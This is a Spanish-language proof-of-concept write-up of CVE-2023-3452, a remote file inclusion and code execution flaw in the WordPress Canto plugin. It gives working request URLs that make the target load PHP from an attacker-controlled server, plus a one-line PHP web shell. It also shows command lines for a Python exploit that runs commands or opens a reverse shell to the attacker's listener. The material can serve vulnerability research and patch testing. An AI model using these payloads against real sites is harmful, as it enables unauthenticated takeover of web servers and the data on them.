
Plugin de WordPress Canto < 3.0.5 - Inclusión Remota de Archivos (RFI) y Ejecución Remota de Código (RCE)
Aquí explicamos un PoC de la última vulnerabilidad de RFI (Inclusión Remota de Archivos) del plugin Canto de WordPress, y hemos desarrollado un exploit para automatizar la ejecución de comandos.
"El plugin Canto para WordPress es vulnerable a la Inclusión Remota de Archivos en versiones hasta la 3.0.4 inclusive, a través del parámetro 'wp_abspath'. Esto permite a atacantes no autenticados incluir y ejecutar código remoto arbitrario en el servidor, siempre que allow_url_include esté habilitado. La Inclusión Local de Archivos también es posible, aunque menos útil, porque requiere que el atacante pueda subir un archivo php malicioso mediante FTP u otros medios a un directorio legible por el servidor web." (https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
Este exploit aprovecha un bug en el parámetro wp_abspath como se puede ver en la siguiente línea de código includes/lib/download.php:
...
require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php');
...
Para explotar esta vulnerabilidad también es necesario que el parámetro allow_url_include=On esté habilitado en la configuración de php.
Es posible hacer peticiones con este parámetro apuntando a nuestro servidor web, desde el cual se interpretará código php. Por ejemplo, si hacemos la siguiente petición, podemos comprobar que recibimos la petición en nuestro servidor.:
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080

Vemos que el servidor llama al archivo /wp-admin/admin.php, por lo que si creamos el directorio y añadimos nuestro código php malicioso al archivo admin.php, el servidor vulnerable lo descarga y lo ejecuta correctamente.
Por ejemplo, si escribimos en nuestro archivo admin.php una web-shell php <?php system($_GET['cmd']); ?> podemos ejecutar código remotamente.
http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://192.168.1.33:8080&cmd=whoami

Todo esto se ha automatizado en el exploit de python: CVE-2023-3452.py
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -NC_PORT 3333 -s php-reverse-shell.php
